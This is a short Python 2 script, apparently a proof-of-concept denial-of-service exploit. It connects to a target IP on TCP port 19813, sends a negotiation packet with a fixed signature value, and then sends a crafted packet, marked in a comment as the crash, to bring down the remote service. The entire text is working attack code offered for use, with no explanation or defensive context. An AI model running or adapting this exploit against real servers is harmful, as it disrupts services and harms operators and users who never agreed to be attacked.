#!/usr/bin/python
 
import socket,struct,sys,os
 
SIGN=0x04030201
cmd=0x01000000
 
def main():
    if len(sys.argv)!=2:
        print"\n[x] Usage: python "+sys.argv[0]+" < ip_server >\n"
        sys.exit(0)
     
    else:
        host=sys.argv[1],19813  #default port TCP/19813
 
    if sys.platform=="win32":
        os.system("cls")
    else:
        os.system("clear")
     
    s=socket.socket()
    try:
        s.connect(host)
        s.recv(1024)
    except:
        print"[x] Error connecting to remote host! This is g00d :D."
        sys.exit(0)
    print"[+] Building crafted packets..."
    #packet negotiation request
    pktnego=struct.pack(">L",cmd+0x1)        #+0
    pktnego+=struct.pack("<L",0x00000000)        #+4
    pktnego+=struct.pack("<L",SIGN)          #+8 (signature)
    #packet crash
    pkt1=struct.pack("<L",cmd+0x2)
    pkt1+=struct.pack(">L",0x00000001)       # != 0x0
    pkt1+=struct.pack("<L",SIGN)
    #end   
    print"[+] Negotiation."
    s.send(pktnego)
    s.recv(1024)
    s.send(pkt1)#crash!
    s.close()
 
if __name__=="__main__":
    main()